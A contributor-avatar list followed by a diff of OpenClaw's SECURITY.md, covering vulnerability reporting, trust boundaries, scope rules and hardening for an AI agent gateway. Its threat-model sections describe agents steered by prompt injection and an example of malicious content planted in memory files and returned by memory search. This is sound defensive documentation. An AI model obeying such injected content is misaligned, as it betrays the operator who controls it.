<a href="https://github.com/mattqdev"><img src="https://avatars.githubusercontent.com/u/115874885?v=4&s=48" width="48" height="48" alt="MattQ" title="MattQ"/></a> <a href="https://github.com/Milofax"><img src="https://avatars.githubusercontent.com/u/2537423?v=4&s=48" width="48" height="48" alt="Milofax" title="Milofax"/></a> <a href="https://github.com/stevebot-alive"><img src="https://avatars.githubusercontent.com/u/261149299?v=4&s=48" width="48" height="48" alt="Steve (OpenClaw)" title="Steve (OpenClaw)"/></a> <a href="https://github.com/ZetiMente"><img src="https://avatars.githubusercontent.com/u/76985631?v=4&s=48" width="48" height="48" alt="Matthew" title="Matthew"/></a> <a href="https://github.com/Cassius0924"><img src="https://avatars.githubusercontent.com/u/62874592?v=4&s=48" width="48" height="48" alt="Cassius0924" title="Cassius0924"/></a> <a href="https://github.com/0xbrak"><img src="https://avatars.githubusercontent.com/u/181251288?v=4&s=48" width="48" height="48" alt="0xbrak" title="0xbrak"/></a> <a href="https://github.com/8BlT"><img src="https://avatars.githubusercontent.com/u/162764392?v=4&s=48" width="48" height="48" alt="8BlT" title="8BlT"/></a> <a href="https://github.com/Abdul535"><img src="https://avatars.githubusercontent.com/u/54276938?v=4&s=48" width="48" height="48" alt="Abdul535" title="Abdul535"/></a> <a href="https://github.com/abhaymundhara"><img src="https://avatars.githubusercontent.com/u/62872231?v=4&s=48" width="48" height="48" alt="abhaymundhara" title="abhaymundhara"/></a> <a href="https://github.com/aduk059"><img src="https://avatars.githubusercontent.com/u/257603478?v=4&s=48" width="48" height="48" alt="aduk059" title="aduk059"/></a>
<a href="https://github.com/afurm"><img src="https://avatars.githubusercontent.com/u/6375192?v=4&s=48" width="48" height="48" alt="afurm" title="afurm"/></a> <a href="https://github.com/aisling404"><img src="https://avatars.githubusercontent.com/u/211950534?v=4&s=48" width="48" height="48" alt="aisling404" title="aisling404"/></a> <a href="https://github.com/akari-musubi"><img src="https://avatars.githubusercontent.com/u/259925157?v=4&s=48" width="48" height="48" alt="akari-musubi" title="akari-musubi"/></a> <a href="https://github.com/albertlieyingadrian"><img src="https://avatars.githubusercontent.com/u/12984659?v=4&s=48" width="48" height="48" alt="albertlieyingadrian" title="albertlieyingadrian"/></a> <a href="https://github.com/Alex-Alaniz"><img src="https://avatars.githubusercontent.com/u/88956822?v=4&s=48" width="48" height="48" alt="Alex-Alaniz" title="Alex-Alaniz"/></a> <a href="https://github.com/ali-aljufairi"><img src="https://avatars.githubusercontent.com/u/85583841?v=4&s=48" width="48" height="48" alt="ali-aljufairi" title="ali-aljufairi"/></a> <a href="https://github.com/altaywtf"><img src="https://avatars.githubusercontent.com/u/9790196?v=4&s=48" width="48" height="48" alt="altaywtf" title="altaywtf"/></a> <a href="https://github.com/araa47"><img src="https://avatars.githubusercontent.com/u/22760261?v=4&s=48" width="48" height="48" alt="araa47" title="araa47"/></a> <a href="https://github.com/Asleep123"><img src="https://avatars.githubusercontent.com/u/122379135?v=4&s=48" width="48" height="48" alt="Asleep123" title="Asleep123"/></a> <a href="https://github.com/avacadobanana352"><img src="https://avatars.githubusercontent.com/u/263496834?v=4&s=48" width="48" height="48" alt="avacadobanana352" title="avacadobanana352"/></a>
<a href="https://github.com/barronlroth"><img src="https://avatars.githubusercontent.com/u/5567884?v=4&s=48" width="48" height="48" alt="barronlroth" title="barronlroth"/></a> <a href="https://github.com/bennewton999"><img src="https://avatars.githubusercontent.com/u/458991?v=4&s=48" width="48" height="48" alt="bennewton999" title="bennewton999"/></a> <a href="https://github.com/bguidolim"><img src="https://avatars.githubusercontent.com/u/987360?v=4&s=48" width="48" height="48" alt="bguidolim" title="bguidolim"/></a> <a href="https://github.com/bigwest60"><img src="https://avatars.githubusercontent.com/u/12373979?v=4&s=48" width="48" height="48" alt="bigwest60" title="bigwest60"/></a> <a href="https://github.com/caelum0x"><img src="https://avatars.githubusercontent.com/u/130079063?v=4&s=48" width="48" height="48" alt="caelum0x" title="caelum0x"/></a> <a href="https://github.com/championswimmer"><img src="https://avatars.githubusercontent.com/u/1327050?v=4&s=48" width="48" height="48" alt="championswimmer" title="championswimmer"/></a> <a href="https://github.com/dutifulbob"><img src="https://avatars.githubusercontent.com/u/261991368?v=4&s=48" width="48" height="48" alt="dutifulbob" title="dutifulbob"/></a> <a href="https://github.com/eternauta1337"><img src="https://avatars.githubusercontent.com/u/550409?v=4&s=48" width="48" height="48" alt="eternauta1337" title="eternauta1337"/></a> <a href="https://github.com/foeken"><img src="https://avatars.githubusercontent.com/u/13864?v=4&s=48" width="48" height="48" alt="foeken" title="foeken"/></a> <a href="https://github.com/gittb"><img src="https://avatars.githubusercontent.com/u/8284364?v=4&s=48" width="48" height="48" alt="gittb" title="gittb"/></a>
<a href="https://github.com/HeimdallStrategy"><img src="https://avatars.githubusercontent.com/u/223014405?v=4&s=48" width="48" height="48" alt="HeimdallStrategy" title="HeimdallStrategy"/></a> <a href="https://github.com/junsuwhy"><img src="https://avatars.githubusercontent.com/u/4645498?v=4&s=48" width="48" height="48" alt="junsuwhy" title="junsuwhy"/></a> <a href="https://github.com/knocte"><img src="https://avatars.githubusercontent.com/u/331303?v=4&s=48" width="48" height="48" alt="knocte" title="knocte"/></a> <a href="https://github.com/MackDing"><img src="https://avatars.githubusercontent.com/u/19878893?v=4&s=48" width="48" height="48" alt="MackDing" title="MackDing"/></a> <a href="https://github.com/nobrainer-tech"><img src="https://avatars.githubusercontent.com/u/445466?v=4&s=48" width="48" height="48" alt="nobrainer-tech" title="nobrainer-tech"/></a> <a href="https://github.com/Noctivoro"><img src="https://avatars.githubusercontent.com/u/183974570?v=4&s=48" width="48" height="48" alt="Noctivoro" title="Noctivoro"/></a> <a href="https://github.com/Raikan10"><img src="https://avatars.githubusercontent.com/u/20675476?v=4&s=48" width="48" height="48" alt="Raikan10" title="Raikan10"/></a> <a href="https://github.com/Swader"><img src="https://avatars.githubusercontent.com/u/1430603?v=4&s=48" width="48" height="48" alt="Swader" title="Swader"/></a> <a href="https://github.com/algal"><img src="https://avatars.githubusercontent.com/u/264412?v=4&s=48" width="48" height="48" alt="Alexis Gallagher" title="Alexis Gallagher"/></a> <a href="https://github.com/alexstyl"><img src="https://avatars.githubusercontent.com/u/1665273?v=4&s=48" width="48" height="48" alt="alexstyl" title="alexstyl"/></a> <a href="https://github.com/ethanpalm"><img src="https://avatars.githubusercontent.com/u/56270045?v=4&s=48" width="48" height="48" alt="Ethan Palm" title="Ethan Palm"/></a>
<a href="https://github.com/yingchunbai"><img src="https://avatars.githubusercontent.com/u/33477283?v=4&s=48" width="48" height="48" alt="yingchunbai" title="yingchunbai"/></a> <a href="https://github.com/joshrad-dev"><img src="https://avatars.githubusercontent.com/u/62785552?v=4&s=48" width="48" height="48" alt="joshrad-dev" title="joshrad-dev"/></a> <a href="https://github.com/danballance"><img src="https://avatars.githubusercontent.com/u/13839912?v=4&s=48" width="48" height="48" alt="Dan Ballance" title="Dan Ballance"/></a> <a href="https://github.com/GHesericsu"><img src="https://avatars.githubusercontent.com/u/60202455?v=4&s=48" width="48" height="48" alt="Eric Su" title="Eric Su"/></a> <a href="https://github.com/kimitaka"><img src="https://avatars.githubusercontent.com/u/167225?v=4&s=48" width="48" height="48" alt="Kimitaka Watanabe" title="Kimitaka Watanabe"/></a> <a href="https://github.com/itsjling"><img src="https://avatars.githubusercontent.com/u/2521993?v=4&s=48" width="48" height="48" alt="Justin Ling" title="Justin Ling"/></a> <a href="https://github.com/lutr0"><img src="https://avatars.githubusercontent.com/u/76906369?v=4&s=48" width="48" height="48" alt="lutr0" title="lutr0"/></a> <a href="https://github.com/RayBB"><img src="https://avatars.githubusercontent.com/u/921217?v=4&s=48" width="48" height="48" alt="Raymond Berger" title="Raymond Berger"/></a> <a href="https://github.com/atalovesyou"><img src="https://avatars.githubusercontent.com/u/3534502?v=4&s=48" width="48" height="48" alt="atalovesyou" title="atalovesyou"/></a> <a href="https://github.com/jayhickey"><img src="https://avatars.githubusercontent.com/u/1676460?v=4&s=48" width="48" height="48" alt="jayhickey" title="jayhickey"/></a>
<a href="https://github.com/jonasjancarik"><img src="https://avatars.githubusercontent.com/u/2459191?v=4&s=48" width="48" height="48" alt="jonasjancarik" title="jonasjancarik"/></a> <a href="https://github.com/latitudeki5223"><img src="https://avatars.githubusercontent.com/u/119656367?v=4&s=48" width="48" height="48" alt="latitudeki5223" title="latitudeki5223"/></a> <a href="https://github.com/minghinmatthewlam"><img src="https://avatars.githubusercontent.com/u/14224566?v=4&s=48" width="48" height="48" alt="minghinmatthewlam" title="minghinmatthewlam"/></a> <a href="https://github.com/rafaelreis-r"><img src="https://avatars.githubusercontent.com/u/57492577?v=4&s=48" width="48" height="48" alt="rafaelreis-r" title="rafaelreis-r"/></a> <a href="https://github.com/ratulsarna"><img src="https://avatars.githubusercontent.com/u/105903728?v=4&s=48" width="48" height="48" alt="ratulsarna" title="ratulsarna"/></a> <a href="https://github.com/timkrase"><img src="https://avatars.githubusercontent.com/u/38947626?v=4&s=48" width="48" height="48" alt="timkrase" title="timkrase"/></a> <a href="https://github.com/efe-buken"><img src="https://avatars.githubusercontent.com/u/262546946?v=4&s=48" width="48" height="48" alt="efe-buken" title="efe-buken"/></a> <a href="https://github.com/manmal"><img src="https://avatars.githubusercontent.com/u/142797?v=4&s=48" width="48" height="48" alt="manmal" title="manmal"/></a> <a href="https://github.com/easternbloc"><img src="https://avatars.githubusercontent.com/u/92585?v=4&s=48" width="48" height="48" alt="easternbloc" title="easternbloc"/></a> <a href="https://github.com/ManuelHettich"><img src="https://avatars.githubusercontent.com/u/17690367?v=4&s=48" width="48" height="48" alt="manuelhettich" title="manuelhettich"/></a>
<a href="https://github.com/sktbrd"><img src="https://avatars.githubusercontent.com/u/116202536?v=4&s=48" width="48" height="48" alt="sktbrd" title="sktbrd"/></a> <a href="https://github.com/larlyssa"><img src="https://avatars.githubusercontent.com/u/13128869?v=4&s=48" width="48" height="48" alt="larlyssa" title="larlyssa"/></a> <a href="https://github.com/Mind-Dragon"><img src="https://avatars.githubusercontent.com/u/262945885?v=4&s=48" width="48" height="48" alt="Mind-Dragon" title="Mind-Dragon"/></a> <a href="https://github.com/pcty-nextgen-service-account"><img src="https://avatars.githubusercontent.com/u/112553441?v=4&s=48" width="48" height="48" alt="pcty-nextgen-service-account" title="pcty-nextgen-service-account"/></a> <a href="https://github.com/tmchow"><img src="https://avatars.githubusercontent.com/u/517103?v=4&s=48" width="48" height="48" alt="tmchow" title="tmchow"/></a> <a href="https://github.com/uli-will-code"><img src="https://avatars.githubusercontent.com/u/49715419?v=4&s=48" width="48" height="48" alt="uli-will-code" title="uli-will-code"/></a> <a href="https://github.com/mgratch"><img src="https://avatars.githubusercontent.com/u/2238658?v=4&s=48" width="48" height="48" alt="Marc Gratch" title="Marc Gratch"/></a> <a href="https://github.com/JackyWay"><img src="https://avatars.githubusercontent.com/u/53031570?v=4&s=48" width="48" height="48" alt="JackyWay" title="JackyWay"/></a> <a href="https://github.com/aaronveklabs"><img src="https://avatars.githubusercontent.com/u/225997828?v=4&s=48" width="48" height="48" alt="aaronveklabs" title="aaronveklabs"/></a> <a href="https://github.com/CJWTRUST"><img src="https://avatars.githubusercontent.com/u/235565898?v=4&s=48" width="48" height="48" alt="CJWTRUST" title="CJWTRUST"/></a>
<a href="https://github.com/erik-agens"><img src="https://avatars.githubusercontent.com/u/80908960?v=4&s=48" width="48" height="48" alt="erik-agens" title="erik-agens"/></a> <a href="https://github.com/odnxe"><img src="https://avatars.githubusercontent.com/u/403141?v=4&s=48" width="48" height="48" alt="odnxe" title="odnxe"/></a> <a href="https://github.com/T5-AndyML"><img src="https://avatars.githubusercontent.com/u/22801233?v=4&s=48" width="48" height="48" alt="T5-AndyML" title="T5-AndyML"/></a> <a href="https://github.com/j1philli"><img src="https://avatars.githubusercontent.com/u/3744255?v=4&s=48" width="48" height="48" alt="Josh Phillips" title="Josh Phillips"/></a> <a href="https://github.com/mujiannan"><img src="https://avatars.githubusercontent.com/u/46643837?v=4&s=48" width="48" height="48" alt="mujiannan" title="mujiannan"/></a> <a href="https://github.com/marcodd23"><img src="https://avatars.githubusercontent.com/u/3519682?v=4&s=48" width="48" height="48" alt="Marco Di Dionisio" title="Marco Di Dionisio"/></a> <a href="https://github.com/RandyVentures"><img src="https://avatars.githubusercontent.com/u/149904821?v=4&s=48" width="48" height="48" alt="Randy Torres" title="Randy Torres"/></a> <a href="https://github.com/afern247"><img src="https://avatars.githubusercontent.com/u/34192856?v=4&s=48" width="48" height="48" alt="afern247" title="afern247"/></a> <a href="https://github.com/0oAstro"><img src="https://avatars.githubusercontent.com/u/79555780?v=4&s=48" width="48" height="48" alt="0oAstro" title="0oAstro"/></a> <a href="https://github.com/alexanderatallah"><img src="https://avatars.githubusercontent.com/u/1011391?v=4&s=48" width="48" height="48" alt="alexanderatallah" title="alexanderatallah"/></a>
<a href="https://github.com/testingabc321"><img src="https://avatars.githubusercontent.com/u/8577388?v=4&s=48" width="48" height="48" alt="testingabc321" title="testingabc321"/></a> <a href="https://github.com/humanwritten"><img src="https://avatars.githubusercontent.com/u/206531610?v=4&s=48" width="48" height="48" alt="humanwritten" title="humanwritten"/></a> <a href="https://github.com/aaronn"><img src="https://avatars.githubusercontent.com/u/1653630?v=4&s=48" width="48" height="48" alt="aaronn" title="aaronn"/></a> <a href="https://github.com/Alphonse-arianee"><img src="https://avatars.githubusercontent.com/u/254457365?v=4&s=48" width="48" height="48" alt="Alphonse-arianee" title="Alphonse-arianee"/></a> <a href="https://github.com/gtsifrikas"><img src="https://avatars.githubusercontent.com/u/8904378?v=4&s=48" width="48" height="48" alt="gtsifrikas" title="gtsifrikas"/></a> <a href="https://github.com/hrdwdmrbl"><img src="https://avatars.githubusercontent.com/u/554881?v=4&s=48" width="48" height="48" alt="hrdwdmrbl" title="hrdwdmrbl"/></a> <a href="https://github.com/hugobarauna"><img src="https://avatars.githubusercontent.com/u/2719?v=4&s=48" width="48" height="48" alt="hugobarauna" title="hugobarauna"/></a> <a href="https://github.com/jiulingyun"><img src="https://avatars.githubusercontent.com/u/126459548?v=4&s=48" width="48" height="48" alt="jiulingyun" title="jiulingyun"/></a> <a href="https://github.com/kitze"><img src="https://avatars.githubusercontent.com/u/1160594?v=4&s=48" width="48" height="48" alt="kitze" title="kitze"/></a> <a href="https://github.com/loukotal"><img src="https://avatars.githubusercontent.com/u/18210858?v=4&s=48" width="48" height="48" alt="loukotal" title="loukotal"/></a>
<a href="https://github.com/MSch"><img src="https://avatars.githubusercontent.com/u/7475?v=4&s=48" width="48" height="48" alt="MSch" title="MSch"/></a> <a href="https://github.com/odrobnik"><img src="https://avatars.githubusercontent.com/u/333270?v=4&s=48" width="48" height="48" alt="odrobnik" title="odrobnik"/></a> <a href="https://github.com/reeltimeapps"><img src="https://avatars.githubusercontent.com/u/637338?v=4&s=48" width="48" height="48" alt="reeltimeapps" title="reeltimeapps"/></a> <a href="https://github.com/rhjoh"><img src="https://avatars.githubusercontent.com/u/105699450?v=4&s=48" width="48" height="48" alt="rhjoh" title="rhjoh"/></a> <a href="https://github.com/ronak-guliani"><img src="https://avatars.githubusercontent.com/u/23518228?v=4&s=48" width="48" height="48" alt="ronak-guliani" title="ronak-guliani"/></a> <a href="https://github.com/snopoke"><img src="https://avatars.githubusercontent.com/u/249606?v=4&s=48" width="48" height="48" alt="snopoke" title="snopoke"/></a>
</p>

View File

@@ -4,19 +4,210 @@ If you believe you've found a security issue in OpenClaw, please report it priva
## Reporting
- Email: `steipete@gmail.com`
- What to include: reproduction steps, impact assessment, and (if possible) a minimal PoC.
Report vulnerabilities directly to the repository where the issue lives:
- **Core CLI and gateway** — [openclaw/openclaw](https://github.com/openclaw/openclaw)
- **macOS desktop app** — [openclaw/openclaw](https://github.com/openclaw/openclaw) (apps/macos)
- **iOS app** — [openclaw/openclaw](https://github.com/openclaw/openclaw) (apps/ios)
- **Android app** — [openclaw/openclaw](https://github.com/openclaw/openclaw) (apps/android)
- **ClawHub** — [openclaw/clawhub](https://github.com/openclaw/clawhub)
- **Trust and threat model** — [openclaw/trust](https://github.com/openclaw/trust)
For issues that don't fit a specific repo, or if you're unsure, email **[security@openclaw.ai](mailto:security@openclaw.ai)** and we'll route it.
For full reporting instructions see our [Trust page](https://trust.openclaw.ai).
### Required in Reports
1. **Title**
2. **Severity Assessment**
3. **Impact**
4. **Affected Component**
5. **Technical Reproduction**
6. **Demonstrated Impact**
7. **Environment**
8. **Remediation Advice**
Reports without reproduction steps, demonstrated impact, and remediation advice will be deprioritized. Given the volume of AI-generated scanner findings, we must ensure we're receiving vetted reports from researchers who understand the issues.
### Report Acceptance Gate (Triage Fast Path)
For fastest triage, include all of the following:
- Exact vulnerable path (`file`, function, and line range) on a current revision.
- Tested version details (OpenClaw version and/or commit SHA).
- Reproducible PoC against latest `main` or latest released version.
- If the claim targets a released version, evidence from the shipped tag and published artifact/package for that exact version (not only `main`).
- Demonstrated impact tied to OpenClaw's documented trust boundaries.
- For exposed-secret reports: proof the credential is OpenClaw-owned (or grants access to OpenClaw-operated infrastructure/services).
- Explicit statement that the report does not rely on adversarial operators sharing one gateway host/config.
- Scope check explaining why the report is **not** covered by the Out of Scope section below.
- For command-risk/parity reports (for example obfuscation detection differences), a concrete boundary-bypass path is required (auth/approval/allowlist/sandbox). Parity-only findings are treated as hardening, not vulnerabilities.
Reports that miss these requirements may be closed as `invalid` or `no-action`.
### Common False-Positive Patterns
These are frequently reported but are typically closed with no code change:
- Prompt-injection-only chains without a boundary bypass (prompt injection is out of scope).
- Operator-intended local features (for example TUI local `!` shell) presented as remote injection.
- Reports that treat explicit operator-control surfaces (for example `canvas.eval`, browser evaluate/script execution, or direct `node.invoke` execution primitives) as vulnerabilities without demonstrating an auth/policy/sandbox boundary bypass. These capabilities are intentional when enabled and are trusted-operator features, not standalone security bugs.
- Authorized user-triggered local actions presented as privilege escalation. Example: an allowlisted/owner sender running `/export-session /absolute/path.html` to write on the host. In this trust model, authorized user actions are trusted host actions unless you demonstrate an auth/sandbox/boundary bypass.
- Reports that only show a malicious plugin executing privileged actions after a trusted operator installs/enables it.
- Reports that assume per-user multi-tenant authorization on a shared gateway host/config.
- Reports that treat the Gateway HTTP compatibility endpoints (`POST /v1/chat/completions`, `POST /v1/responses`) as if they implemented scoped operator auth (`operator.write` vs `operator.admin`). These endpoints authenticate the shared Gateway bearer secret/password and are documented full operator-access surfaces, not per-user/per-scope boundaries.
- Reports that only show differences in heuristic detection/parity (for example obfuscation-pattern detection on one exec path but not another, such as `node.invoke -> system.run` parity gaps) without demonstrating bypass of auth, approvals, allowlist enforcement, sandboxing, or other documented trust boundaries.
- ReDoS/DoS claims that require trusted operator configuration input (for example catastrophic regex in `sessionFilter` or `logging.redactPatterns`) without a trust-boundary bypass.
- Archive/install extraction claims that require pre-existing local filesystem priming in trusted state (for example planting symlink/hardlink aliases under destination directories such as skills/tools paths) without showing an untrusted path that can create/control that primitive.
- Reports that depend on replacing or rewriting an already-approved executable path on a trusted host (same-path inode/content swap) without showing an untrusted path to perform that write.
- Reports that depend on pre-existing symlinked skill/workspace filesystem state (for example symlink chains involving `skills/*/SKILL.md`) without showing an untrusted path that can create/control that state.
- Missing HSTS findings on default local/loopback deployments.
- Slack webhook signature findings when HTTP mode already uses signing-secret verification.
- Discord inbound webhook signature findings for paths not used by this repo's Discord integration.
- Claims that Microsoft Teams `fileConsent/invoke` `uploadInfo.uploadUrl` is attacker-controlled without demonstrating one of: auth boundary bypass, a real authenticated Teams/Bot Framework event carrying attacker-chosen URL, or compromise of the Microsoft/Bot trust path.
- Scanner-only claims against stale/nonexistent paths, or claims without a working repro.
- Reports that restate an already-fixed issue against later released versions without showing the vulnerable path still exists in the shipped tag or published artifact for that later version.
### Duplicate Report Handling
- Search existing advisories before filing.
- Include likely duplicate GHSA IDs in your report when applicable.
- Maintainers may close lower-quality/later duplicates in favor of the earliest high-quality canonical report.
## Security & Trust
**Jamieson O'Reilly** ([@theonejvo](https://twitter.com/theonejvo)) is Security & Trust at OpenClaw. Jamieson is the founder of [Dvuln](https://dvuln.com) and brings extensive experience in offensive security, penetration testing, and security program development.
## Bug Bounties
OpenClaw is a labor of love. There is no bug bounty program and no budget for paid reports. Please still disclose responsibly so we can fix issues quickly.
The best way to help the project right now is by sending PRs.
## Maintainers: GHSA Updates via CLI
When patching a GHSA via `gh api`, include `X-GitHub-Api-Version: 2022-11-28` (or newer). Without it, some fields (notably CVSS) may not persist even if the request returns 200.
## Operator Trust Model (Important)
OpenClaw does **not** model one gateway as a multi-tenant, adversarial user boundary.
- Authenticated Gateway callers are treated as trusted operators for that gateway instance.
- The HTTP compatibility endpoints (`POST /v1/chat/completions`, `POST /v1/responses`) are in that same trusted-operator bucket. Passing Gateway bearer auth there is equivalent to operator access for that gateway; they do not implement a narrower `operator.write` vs `operator.admin` trust split.
- Session identifiers (`sessionKey`, session IDs, labels) are routing controls, not per-user authorization boundaries.
- If one operator can view data from another operator on the same gateway, that is expected in this trust model.
- OpenClaw can technically run multiple gateway instances on one machine, but recommended operations are clean separation by trust boundary.
- Recommended mode: one user per machine/host (or VPS), one gateway for that user, and one or more agents inside that gateway.
- If multiple users need OpenClaw, use one VPS (or host/OS user boundary) per user.
- For advanced setups, multiple gateways on one machine are possible, but only with strict isolation and are not the recommended default.
- Exec behavior is host-first by default: `agents.defaults.sandbox.mode` defaults to `off`.
- `tools.exec.host` defaults to `sandbox` as a routing preference, but if sandbox runtime is not active for the session, exec runs on the gateway host.
- Implicit exec calls (no explicit host in the tool call) follow the same behavior.
- This is expected in OpenClaw's one-user trusted-operator model. If you need isolation, enable sandbox mode (`non-main`/`all`) and keep strict tool policy.
## Trusted Plugin Concept (Core)
Plugins/extensions are part of OpenClaw's trusted computing base for a gateway.
- Installing or enabling a plugin grants it the same trust level as local code running on that gateway host.
- Plugin behavior such as reading env/files or running host commands is expected inside this trust boundary.
- Security reports must show a boundary bypass (for example unauthenticated plugin load, allowlist/policy bypass, or sandbox/path-safety bypass), not only malicious behavior from a trusted-installed plugin.
## Out of Scope
- Public Internet Exposure
- Using OpenClaw in ways that the docs recommend not to
- Prompt injection attacks
- Deployments where mutually untrusted/adversarial operators share one gateway host and config (for example, reports expecting per-operator isolation for `sessions.list`, `sessions.preview`, `chat.history`, or similar control-plane reads)
- Prompt-injection-only attacks (without a policy/auth/sandbox boundary bypass)
- Reports that require write access to trusted local state (`~/.openclaw`, workspace files like `MEMORY.md` / `memory/*.md`)
- Reports where exploitability depends on attacker-controlled pre-existing symlink/hardlink filesystem state in trusted local paths (for example extraction/install target trees) unless a separate untrusted boundary bypass is shown that creates that state.
- Reports whose only claim is sandbox/workspace read expansion through trusted local skill/workspace symlink state (for example `skills/*/SKILL.md` symlink chains) unless a separate untrusted boundary bypass is shown that creates/controls that state.
- Reports whose only claim is post-approval executable identity drift on a trusted host via same-path file replacement/rewrite unless a separate untrusted boundary bypass is shown for that host write primitive.
- Reports where the only demonstrated impact is an already-authorized sender intentionally invoking a local-action command (for example `/export-session` writing to an absolute host path) without bypassing auth, sandbox, or another documented boundary
- Reports whose only claim is use of an explicit trusted-operator control surface (for example `canvas.eval`, browser evaluate/script execution, or direct `node.invoke` execution) without demonstrating an auth, policy, allowlist, approval, or sandbox bypass.
- Reports where the only claim is that a trusted-installed/enabled plugin can execute with gateway/host privileges (documented trust model behavior).
- Any report whose only claim is that an operator-enabled `dangerous*`/`dangerously*` config option weakens defaults (these are explicit break-glass tradeoffs by design)
- Reports that depend on trusted operator-supplied configuration values to trigger availability impact (for example custom regex patterns). These may still be fixed as defense-in-depth hardening, but are not security-boundary bypasses.
- Reports whose only claim is heuristic/parity drift in command-risk detection (for example obfuscation-pattern checks) across exec surfaces, without a demonstrated trust-boundary bypass. These are hardening-only findings and are not vulnerabilities; triage may close them as `invalid`/`no-action` or track them separately as low/informational hardening.
- Reports whose only claim is that exec approvals do not semantically model every interpreter/runtime loader form, subcommand, flag combination, package script, or transitive module/config import. Exec approvals bind exact request context and best-effort direct local file operands; they are not a complete semantic model of everything a runtime may load.
- Exposed secrets that are third-party/user-controlled credentials (not OpenClaw-owned and not granting access to OpenClaw-operated infrastructure/services) without demonstrated OpenClaw impact
- Reports whose only claim is host-side exec when sandbox runtime is disabled/unavailable (documented default behavior in the trusted-operator model), without a boundary bypass.
- Reports whose only claim is that a platform-provided upload destination URL is untrusted (for example Microsoft Teams `fileConsent/invoke` `uploadInfo.uploadUrl`) without proving attacker control in an authenticated production flow.
## Deployment Assumptions
OpenClaw security guidance assumes:
- The host where OpenClaw runs is within a trusted OS/admin boundary.
- Anyone who can modify `~/.openclaw` state/config (including `openclaw.json`) is effectively a trusted operator.
- A single Gateway shared by mutually untrusted people is **not a recommended setup**. Use separate gateways (or at minimum separate OS users/hosts) per trust boundary.
- Authenticated Gateway callers are treated as trusted operators. Session identifiers (for example `sessionKey`) are routing controls, not per-user authorization boundaries.
- Multiple gateway instances can run on one machine, but the recommended model is clean per-user isolation (prefer one host/VPS per user).
## One-User Trust Model (Personal Assistant)
OpenClaw's security model is "personal assistant" (one trusted operator, potentially many agents), not "shared multi-tenant bus."
- If multiple people can message the same tool-enabled agent (for example a shared Slack workspace), they can all steer that agent within its granted permissions.
- Non-owner sender status only affects owner-only tools/commands. If a non-owner can still access a non-owner-only tool on that same agent (for example `canvas`), that is within the granted tool boundary unless the report demonstrates an auth, policy, allowlist, approval, or sandbox bypass.
- Session or memory scoping reduces context bleed, but does **not** create per-user host authorization boundaries.
- For mixed-trust or adversarial users, isolate by OS user/host/gateway and use separate credentials per boundary.
- A company-shared agent can be a valid setup when users are in the same trust boundary and the agent is strictly business-only.
- For company-shared setups, use a dedicated machine/VM/container and dedicated accounts; avoid mixing personal data on that runtime.
- If that host/browser profile is logged into personal accounts (for example Apple/Google/personal password manager), you have collapsed the boundary and increased personal-data exposure risk.
## Agent and Model Assumptions
- The model/agent is **not** a trusted principal. Assume prompt/content injection can manipulate behavior.
- Security boundaries come from host/config trust, auth, tool policy, sandboxing, and exec approvals.
- Prompt injection by itself is not a vulnerability report unless it crosses one of those boundaries.
- Hook/webhook-driven payloads should be treated as untrusted content; keep unsafe bypass flags disabled unless doing tightly scoped debugging (`hooks.gmail.allowUnsafeExternalContent`, `hooks.mappings[].allowUnsafeExternalContent`).
- Weak model tiers are generally easier to prompt-inject. For tool-enabled or hook-driven agents, prefer strong modern model tiers and strict tool policy (for example `tools.profile: "messaging"` or stricter), plus sandboxing where possible.
## Gateway and Node trust concept
OpenClaw separates routing from execution, but both remain inside the same operator trust boundary:
- **Gateway** is the control plane. If a caller passes Gateway auth, they are treated as a trusted operator for that Gateway.
- **Node** is an execution extension of the Gateway. Pairing a node grants operator-level remote capability on that node.
- **Exec approvals** (allowlist/ask UI) are operator guardrails to reduce accidental command execution, not a multi-tenant authorization boundary.
- Exec approvals bind exact command/cwd/env context and, when OpenClaw can identify one concrete local script/file operand, that file snapshot too. This is best-effort integrity hardening, not a complete semantic model of every interpreter/runtime loader path.
- Differences in command-risk warning heuristics between exec surfaces (`gateway`, `node`, `sandbox`) do not, by themselves, constitute a security-boundary bypass.
- For untrusted-user isolation, split by trust boundary: separate gateways and separate OS users/hosts per boundary.
## Workspace Memory Trust Boundary
`MEMORY.md` and `memory/*.md` are plain workspace files and are treated as trusted local operator state.
- If someone can edit workspace memory files, they already crossed the trusted operator boundary.
- Memory search indexing/recall over those files is expected behavior, not a sandbox/security boundary.
- Example report pattern considered out of scope: "attacker writes malicious content into `memory/*.md`, then `memory_search` returns it."
- If you need isolation between mutually untrusted users, split by OS user or host and run separate gateways.
## Plugin Trust Boundary
Plugins/extensions are loaded **in-process** with the Gateway and are treated as trusted code.
- Plugins can execute with the same OS privileges as the OpenClaw process.
- Runtime helpers (for example `runtime.system.runCommandWithTimeout`) are convenience APIs, not a sandbox boundary.
- Only install plugins you trust, and prefer `plugins.allow` to pin explicit trusted plugin ids.
## Temp Folder Boundary (Media/Sandbox)
OpenClaw uses a dedicated temp root for local media handoff and sandbox-adjacent temp artifacts:
- Preferred temp root: `/tmp/openclaw` (when available and safe on the host).
- Fallback temp root: `os.tmpdir()/openclaw` (or `openclaw-<uid>` on multi-user hosts).
Security boundary notes:
- Sandbox media validation allows absolute temp paths only under the OpenClaw-managed temp root.
- Arbitrary host tmp paths are not treated as trusted media roots.
- Plugin/extension code should use OpenClaw temp helpers (`resolvePreferredOpenClawTmpDir`, `buildRandomTempFilePath`, `withTempDownloadPath`) rather than raw `os.tmpdir()` defaults when handling media files.
- Enforcement reference points:
- temp root resolver: `src/infra/tmp-openclaw-dir.ts`
- SDK temp helpers: `src/plugin-sdk/temp-path.ts`
- messaging/channel tmp guardrail: `scripts/check-no-random-messaging-tmp.mjs`
## Operational Guidance
@@ -24,9 +215,38 @@ For threat model + hardening guidance (including `openclaw security audit --deep
- `https://docs.openclaw.ai/gateway/security`
### Tool filesystem hardening
- `tools.exec.applyPatch.workspaceOnly: true` (recommended): keeps `apply_patch` writes/deletes within the configured workspace directory.
- `tools.fs.workspaceOnly: true` (optional): restricts `read`/`write`/`edit`/`apply_patch` paths and native prompt image auto-load paths to the workspace directory.
- Avoid setting `tools.exec.applyPatch.workspaceOnly: false` unless you fully trust who can trigger tool execution.
### Sub-agent delegation hardening
- Keep `sessions_spawn` denied unless you explicitly need delegated runs.
- Keep `agents.list[].subagents.allowAgents` narrow, and only include agents with sandbox settings you trust.
- When delegation must stay sandboxed, call `sessions_spawn` with `sandbox: "require"` (default is `inherit`).
- `sandbox: "require"` rejects the spawn unless the target child runtime is sandboxed.
- This prevents a less-restricted session from delegating work into an unsandboxed child by mistake.
### Web Interface Safety
